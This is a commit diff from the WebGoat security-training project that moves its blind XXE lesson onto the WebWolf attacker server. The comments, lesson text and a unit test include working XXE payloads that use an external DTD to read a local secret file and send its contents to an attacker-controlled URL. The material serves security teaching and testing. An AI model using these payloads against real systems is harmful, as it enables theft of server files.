Updated XXE lesson so it also uses WebWolf
This commit is contained in:
parent
94caba7eb1
commit
8a982dedb5
@ -29,6 +29,10 @@ webgoat.database.driver=org.hsqldb.jdbcDriver
|
||||
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
|
||||
webgoat.default.language=en
|
||||
|
||||
webwolf.port=8081
|
||||
webwolf.url=http://localhost:${webwolf.port}/WebWolf
|
||||
webworf.url.landingpage=http://localhost:${webwolf.port}/landing
|
||||
|
||||
spring.jackson.serialization.indent_output=true
|
||||
spring.jackson.serialization.write-dates-as-timestamps=false
|
||||
|
||||
|
@ -1 +1 @@
|
||||
webgoat.user.directory=/tmp/
|
||||
webgoat.user.directory=${java.io.tmpdir}
|
@ -4,10 +4,10 @@ import org.apache.commons.lang3.StringUtils;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.client.RestTemplate;
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
@ -21,7 +21,8 @@ import java.net.URISyntaxException;
|
||||
@AssignmentPath("/WebWolf/landing")
|
||||
public class LandingAssignment extends AssignmentEndpoint {
|
||||
|
||||
private RestTemplate restTemplate = new RestTemplate();
|
||||
@Value("${webworf.url.landingpage}")
|
||||
private String landingPageUrl;
|
||||
|
||||
@PostMapping
|
||||
@ResponseBody
|
||||
@ -37,7 +38,7 @@ public class LandingAssignment extends AssignmentEndpoint {
|
||||
public ModelAndView openPasswordReset(HttpServletRequest request) throws URISyntaxException {
|
||||
URI uri = new URI(request.getRequestURL().toString());
|
||||
ModelAndView modelAndView = new ModelAndView();
|
||||
modelAndView.addObject("webwolfUrl", uri.getScheme() + "://" + uri.getHost() + ":8081");
|
||||
modelAndView.addObject("webwolfUrl", landingPageUrl);
|
||||
modelAndView.addObject("uniqueCode", StringUtils.reverse(getWebSession().getUserName()));
|
||||
|
||||
modelAndView.setViewName("webwolfPasswordReset");
|
||||
|
@ -1,6 +1,6 @@
|
||||
== Landing page
|
||||
|
||||
This page will show all the requests made to '/' or '/challenge'. This means
|
||||
This page will show all the requests made to '/landing/**'. This means
|
||||
you can use WebWolf as your landing page for harvesting cookies etc which
|
||||
is helpful when you perform a XSS lesson.
|
||||
|
||||
|
@ -15,5 +15,13 @@
|
||||
<artifactId>commons-lang</artifactId>
|
||||
<version>2.6</version>
|
||||
</dependency>
|
||||
|
||||
<dependency>
|
||||
<groupId>com.github.tomakehurst</groupId>
|
||||
<artifactId>wiremock</artifactId>
|
||||
<version>2.8.0</version>
|
||||
<scope>test</scope>
|
||||
</dependency>
|
||||
|
||||
</dependencies>
|
||||
</project>
|
@ -1,17 +1,13 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import com.google.common.base.Joiner;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.core.io.ClassPathResource;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.util.FileCopyUtils;
|
||||
import org.springframework.web.bind.annotation.RequestBody;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
@ -19,10 +15,8 @@ import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.PostConstruct;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.util.List;
|
||||
|
||||
import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
@ -56,46 +50,47 @@ import java.util.List;
|
||||
@AssignmentPath("xxe/blind")
|
||||
public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||
|
||||
static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")";
|
||||
@Value("${webgoat.user.directory}")
|
||||
private String webGoatHomeDirectory;
|
||||
@Autowired
|
||||
private Comments comments;
|
||||
@Autowired
|
||||
private WebSession webSession;
|
||||
|
||||
@PostConstruct
|
||||
@SneakyThrows
|
||||
public void copyFile() {
|
||||
ClassPathResource classPathResource = new ClassPathResource("secret.txt");
|
||||
public void createSecretFileWithRandomContents() {
|
||||
File targetDirectory = new File(webGoatHomeDirectory, "/XXE");
|
||||
if (!targetDirectory.exists()) {
|
||||
targetDirectory.mkdir();
|
||||
}
|
||||
FileCopyUtils.copy(classPathResource.getInputStream(), new FileOutputStream(new File(targetDirectory, "secret.txt")));
|
||||
FileUtils.write(new File(targetDirectory, "secret.txt"), CONTENTS);
|
||||
}
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
public AttackResult addComment(@RequestBody String commentStr) throws Exception {
|
||||
String error = "Parsing successful contents not send to attacker";
|
||||
//Solution is posted as a separate comment
|
||||
if (commentStr.contains(CONTENTS)) {
|
||||
return trackProgress(success().build());
|
||||
}
|
||||
|
||||
try {
|
||||
Comment comment = comments.parseXml(commentStr);
|
||||
comments.addComment(comment, false);
|
||||
} catch (Exception e) {
|
||||
error = e.toString();
|
||||
}
|
||||
|
||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
|
||||
List<String> lines = logFile.exists() ? Files.readAllLines(Paths.get(logFile.toURI())) : Lists.newArrayList();
|
||||
boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent();
|
||||
if (solved) {
|
||||
logFile.delete();
|
||||
return trackProgress(success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build());
|
||||
} else {
|
||||
return trackProgress(failed().output(error).build());
|
||||
}
|
||||
return trackProgress(failed().output(e.toString()).build());
|
||||
}
|
||||
return trackProgress(failed().build());
|
||||
}
|
||||
|
||||
/**
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE comment [
|
||||
<!ENTITY % remote SYSTEM "http://localhost:8081/files/admin2/attack.dtd">
|
||||
%remote;
|
||||
]>
|
||||
<comment> <text>test&send;</text></comment>
|
||||
**/
|
||||
/**
|
||||
* Solution:
|
||||
*
|
||||
@ -104,14 +99,14 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||
* <pre>
|
||||
* <?xml version="1.0" encoding="UTF-8"?>
|
||||
* <!ENTITY % file SYSTEM "file:///c:/windows-version.txt">
|
||||
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=%file;'>">
|
||||
* <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8081/ping?text=%file;'>">
|
||||
* %all;
|
||||
* </pre>
|
||||
*
|
||||
* This will be reduced to:
|
||||
*
|
||||
* <pre>
|
||||
* <!ENTITY send SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]'>
|
||||
* <!ENTITY send SYSTEM 'http://localhost:8081/ping?text=[contents_file]'>
|
||||
* </pre>
|
||||
*
|
||||
* Wire it all up in the xml send to the server:
|
||||
@ -119,7 +114,7 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||
* <pre>
|
||||
* <?xml version="1.0"?>
|
||||
* <!DOCTYPE root [
|
||||
* <!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd">
|
||||
* <!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/test.dtd">
|
||||
* %remote;
|
||||
* ]>
|
||||
* <user>
|
||||
|
@ -1,39 +1,30 @@
|
||||
|
||||
== Blind XXE
|
||||
|
||||
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
|
||||
Or the resource you are trying to read contains illegal XML character which causes the parser to fail.
|
||||
Let's start with an example, in this case we reference a external DTD which we control on our own server.
|
||||
Let's start with an example, in this case we reference an external DTD which we control on our own server.
|
||||
|
||||
Our WebGoat server by default has an /xxe/ping endpoint which we can use. *This can be any server under your control.*
|
||||
|
||||
[source]
|
||||
----
|
||||
curl -i http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld
|
||||
|
||||
will result in:
|
||||
|
||||
GET curl/7.45.0 HelloWorld
|
||||
----
|
||||
|
||||
at the server side.
|
||||
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
|
||||
use this server to ping it using `http://localhost:8081/ping?text=HelloWorld
|
||||
|
||||
How do we use this endpoint to verify whether we can perform XXE?
|
||||
|
||||
In the `~/${user.home}/.webgoat/plugin/XXE` create a file called attack.dtd
|
||||
We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents:
|
||||
|
||||
[source]
|
||||
----
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!ENTITY ping SYSTEM 'http://localhost:8080/WebGoat/XXE/ping?text=HelloWorld'>
|
||||
<!ENTITY ping SYSTEM 'http://localhost:8081/ping?text=HelloWorld'>
|
||||
----
|
||||
|
||||
Now submit the form and change the xml to:
|
||||
Now submit the form change the xml using to:
|
||||
|
||||
[source]
|
||||
----
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root [
|
||||
<!ENTITY % remote SYSTEM "http://localhost:8080/WebGoat/XXE/attack.dtd">
|
||||
<!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/attack.dtd">
|
||||
%remote;
|
||||
]>
|
||||
<comment>
|
||||
@ -41,16 +32,24 @@ Now submit the form and change the xml to:
|
||||
</comment>
|
||||
----
|
||||
|
||||
Now if we check our server log we will see:
|
||||
Now in WebWolf browse to 'Incoming requests' and you will see:
|
||||
|
||||
[source]
|
||||
----
|
||||
GET Java/1.8.0_101 HelloWorld
|
||||
{
|
||||
"method" : "GET",
|
||||
"path" : "/ping",
|
||||
"headers" : {
|
||||
"request" : {
|
||||
"user-agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0",
|
||||
},
|
||||
},
|
||||
"parameters" : {
|
||||
"test" : [ "HelloWorld" ],
|
||||
},
|
||||
"timeTaken" : "1"
|
||||
}
|
||||
----
|
||||
|
||||
So with the XXE we are able to ping our own server which means XXE injection is possible. So with the XXE injection
|
||||
we are basically able to reach the same effect as we did in the beginning with the curl command.
|
||||
|
||||
[NOTE]
|
||||
In this case we use http://localhost:8080/WebGoat/plugin_lessons/XXE/test.dtd to fetch the dtd but in reality this will
|
||||
of course be a host fully under the attackers control.
|
@ -1,10 +1,23 @@
|
||||
== Blind XXE assignment
|
||||
|
||||
In the previous page we showed you how you can ping a server with a XXE attack, in this assignment try to make a DTD
|
||||
which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server.
|
||||
For Linux: `/home/USER/.webgoat/XXE/secret.txt`, for Windows this would be `c:/Users/USER/.webgoat/XXE/secret.txt`
|
||||
If you use the Docker based WebGoat environment this file is located here: `/root/.webgoat/XXE/secret.txt`
|
||||
which will upload the contents of ~/.webgoat/plugin/XXE/secret.txt to our server. You can use WebWolf to serve your
|
||||
DTD.
|
||||
|
||||
Try to upload this file using the following endpoint: `http://localhost:8080/WebGoat/XXE/ping?text=[contents_file]` (NOTE: this endpoint is under your full control)
|
||||
|
||||
You can login to the Docker container as follows: `docker exec -i -t <<name>> /bin/bash`
|
||||
|===
|
||||
|OS |Location
|
||||
|
||||
|Linux
|
||||
|`/home/USER/.webgoat/XXE/secret.txt`
|
||||
|
||||
|Windows
|
||||
|`c:/Users/USER/.webgoat/XXE/secret.txt`
|
||||
|
||||
|Docker
|
||||
|`/home/webgoat/.webgoat/XXE/secret.txt`
|
||||
|===
|
||||
|
||||
Try to upload this file using WebWolf landing page for example: `http://localhost:8081/WebWolf/landing?text=[contents_file]`
|
||||
(NOTE: this endpoint is under your full control)
|
||||
Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.
|
@ -1,8 +1,11 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.google.common.io.Files;
|
||||
import com.github.tomakehurst.wiremock.client.WireMock;
|
||||
import com.github.tomakehurst.wiremock.junit.WireMockRule;
|
||||
import com.github.tomakehurst.wiremock.verification.LoggedRequest;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.Before;
|
||||
import org.junit.Rule;
|
||||
import org.junit.Test;
|
||||
import org.junit.runner.RunWith;
|
||||
import org.owasp.webgoat.plugins.LessonTest;
|
||||
@ -14,7 +17,9 @@ import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.List;
|
||||
|
||||
import static com.github.tomakehurst.wiremock.client.WireMock.*;
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
@ -32,13 +37,14 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
||||
@Value("${webgoat.user.directory}")
|
||||
private String webGoatHomeDirectory;
|
||||
|
||||
@Rule
|
||||
public WireMockRule webwolfServer = new WireMockRule(8081);
|
||||
|
||||
@Before
|
||||
public void setup() throws Exception {
|
||||
XXE xxe = new XXE();
|
||||
when(webSession.getCurrentLesson()).thenReturn(xxe);
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
|
||||
if (logFile.exists()) logFile.delete();
|
||||
when(webSession.getUserName()).thenReturn("unit-test");
|
||||
}
|
||||
|
||||
@ -65,26 +71,39 @@ public class BlindSendFileAssignmentTest extends LessonTest {
|
||||
|
||||
@Test
|
||||
public void solve() throws Exception {
|
||||
File file = new File(webGoatHomeDirectory, "XXE/attack.dtd");
|
||||
File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt");
|
||||
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||
"<!ENTITY % file SYSTEM \"file:///" + webGoatHomeDirectory + "/XXE/secret.txt\">\n" +
|
||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + localPort + "/WebGoat/XXE/ping?text=%file;'>\">\n" +
|
||||
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
|
||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:8081/landing?text=%file;'>\">\n" +
|
||||
"%all;";
|
||||
Files.write(dtd.getBytes(), file);
|
||||
String xml = "<?xml version=\"1.0\"?>\n" +
|
||||
"<!DOCTYPE root [\n" +
|
||||
"<!ENTITY % remote SYSTEM \"file://" + file.getAbsolutePath() + "\">\n" +
|
||||
"%remote;\n" +
|
||||
"]>\n" +
|
||||
"<comment>\n" +
|
||||
" <text>test&send;</text>\n" +
|
||||
"</comment>";
|
||||
webwolfServer.stubFor(get(WireMock.urlMatching("/files/test.dtd"))
|
||||
.willReturn(aResponse()
|
||||
.withStatus(200)
|
||||
.withBody(dtd)));
|
||||
webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
|
||||
String xml = "<?xml version=\"1.0\"?>" +
|
||||
"<!DOCTYPE comment [" +
|
||||
"<!ENTITY % remote SYSTEM \"http://localhost:8081/files/test.dtd\">" +
|
||||
"%remote;" +
|
||||
"]>" +
|
||||
"<comment><text>test&send;</text></comment>";
|
||||
|
||||
//Call with XXE injection
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content(xml))
|
||||
.andDo(MockMvcResultHandlers.print())
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))))
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.containsString("WebGoat 8 rocks...")));
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
|
||||
|
||||
List<LoggedRequest> requests = findAll(getRequestedFor(urlMatching("/landing.*")));
|
||||
assertThat(requests.size()).isEqualTo(1);
|
||||
String text = requests.get(0).getQueryParams().get("text").firstValue();
|
||||
|
||||
//Call with retrieved text
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content("<comment><text>" + text + "</text></comment>"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))));
|
||||
}
|
||||
|
||||
}
|
@ -3,6 +3,7 @@ package org.owasp.webwolf;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webwolf.requests.WebWolfTraceRepository;
|
||||
import org.owasp.webwolf.user.UserRepository;
|
||||
import org.owasp.webwolf.user.WebGoatUserToCookieRepository;
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.actuate.trace.TraceRepository;
|
||||
@ -25,8 +26,8 @@ import javax.jms.ConnectionFactory;
|
||||
public class WebWolf extends SpringBootServletInitializer {
|
||||
|
||||
@Bean
|
||||
public TraceRepository traceRepository(WebGoatUserToCookieRepository repository) {
|
||||
return new WebWolfTraceRepository(repository);
|
||||
public TraceRepository traceRepository(WebGoatUserToCookieRepository repository, UserRepository userRepository) {
|
||||
return new WebWolfTraceRepository(repository, userRepository);
|
||||
}
|
||||
|
||||
@Override
|
||||
|
@ -0,0 +1,24 @@
|
||||
package org.owasp.webwolf.requests;
|
||||
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
|
||||
@Controller
|
||||
@Slf4j
|
||||
@RequestMapping("/landing/**")
|
||||
public class LandingPage {
|
||||
|
||||
@RequestMapping(method = { RequestMethod.POST, RequestMethod.GET, RequestMethod.DELETE, RequestMethod.PATCH, RequestMethod.PUT})
|
||||
@ResponseStatus(HttpStatus.OK)
|
||||
public void ok(HttpServletRequest request) {
|
||||
log.trace("Incoming request for: {}", request.getRequestURL());
|
||||
}
|
||||
|
||||
}
|
@ -6,6 +6,7 @@ import com.google.common.cache.LoadingCache;
|
||||
import com.google.common.collect.Lists;
|
||||
import com.google.common.collect.Maps;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webwolf.user.UserRepository;
|
||||
import org.owasp.webwolf.user.WebGoatUser;
|
||||
import org.owasp.webwolf.user.WebGoatUserCookie;
|
||||
import org.owasp.webwolf.user.WebGoatUserToCookieRepository;
|
||||
@ -18,6 +19,7 @@ import java.net.HttpCookie;
|
||||
import java.util.*;
|
||||
import java.util.concurrent.ConcurrentLinkedDeque;
|
||||
|
||||
import static java.util.Optional.empty;
|
||||
import static java.util.Optional.of;
|
||||
|
||||
/**
|
||||
@ -38,9 +40,11 @@ public class WebWolfTraceRepository implements TraceRepository {
|
||||
}
|
||||
});
|
||||
private final WebGoatUserToCookieRepository repository;
|
||||
private final UserRepository userRepository;
|
||||
|
||||
public WebWolfTraceRepository(WebGoatUserToCookieRepository repository) {
|
||||
public WebWolfTraceRepository(WebGoatUserToCookieRepository repository, UserRepository userRepository) {
|
||||
this.repository = repository;
|
||||
this.userRepository = userRepository;
|
||||
}
|
||||
|
||||
@Override
|
||||
@ -58,20 +62,29 @@ public class WebWolfTraceRepository implements TraceRepository {
|
||||
@Override
|
||||
public void add(Map<String, Object> map) {
|
||||
Optional<String> host = getFromHeaders("host", map);
|
||||
Optional<String> referer = getFromHeaders("referer", map);
|
||||
if (host.isPresent() && referer.orElse("").contains("WebGoat")) {
|
||||
String path = (String) map.getOrDefault("path", "");
|
||||
if (host.isPresent() && path.contains("/landing/")) {
|
||||
Optional<String> cookie = getFromHeaders("cookie", map);
|
||||
cookie.ifPresent(c -> {
|
||||
Optional<String> user = findUserBasedOnCookie(c);
|
||||
Optional<String> user = cookie.isPresent() ? findUserBasedOnCookie(cookie.get()) : getLoggedInUser();
|
||||
user.ifPresent(u -> {
|
||||
ConcurrentLinkedDeque<Trace> traces = this.cookieTraces.getUnchecked(u);
|
||||
traces.addFirst(new Trace(new Date(), map));
|
||||
cookieTraces.put(u, traces);
|
||||
});
|
||||
|
||||
//No user found based on cookie and logged in user, so add the trace to all users
|
||||
//In case of XXE no cookie will be send we cannot retrieve who is logged in.
|
||||
//Standalone this is ok, in a challenge you need to make sure the solution or secret the users need to
|
||||
//fetch is unique
|
||||
if (!user.isPresent()) {
|
||||
List<WebGoatUser> users = this.userRepository.findAll();
|
||||
users.forEach(u -> {
|
||||
ConcurrentLinkedDeque<Trace> traces = this.cookieTraces.getUnchecked(u.getUsername());
|
||||
traces.addFirst(new Trace(new Date(), map));
|
||||
cookieTraces.put(u.getUsername(), traces);
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private Optional<String> findUserBasedOnCookie(String cookiesIncomingRequest) {
|
||||
//Request from WebGoat to WebWolf will contain the session cookie of WebGoat try to map it to a user
|
||||
@ -80,14 +93,17 @@ public class WebWolfTraceRepository implements TraceRepository {
|
||||
Optional<WebGoatUserCookie> userToCookie = repository.findByCookie(cookie.getValue());
|
||||
Optional<String> user = userToCookie.map(u -> u.getUsername());
|
||||
|
||||
if (!user.isPresent()) {
|
||||
return user;
|
||||
}
|
||||
|
||||
private Optional<String> getLoggedInUser() {
|
||||
Optional<String> user = empty();
|
||||
//User is maybe logged in to WebWolf use this user
|
||||
Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
|
||||
if (authentication != null && authentication.getPrincipal() instanceof WebGoatUser) {
|
||||
WebGoatUser wg = (WebGoatUser) authentication.getPrincipal();
|
||||
user = of(wg.getUsername());
|
||||
}
|
||||
}
|
||||
return user;
|
||||
}
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
server.error.include-stacktrace=always
|
||||
server.error.path=/error.html
|
||||
server.session.timeout=600
|
||||
server.session.timeout=6000
|
||||
#server.contextPath=/WebWolf
|
||||
server.port=8081
|
||||
server.session.cookie.name = WEBWOLFSESSION
|
||||
|
Loading…
x
Reference in New Issue
Block a user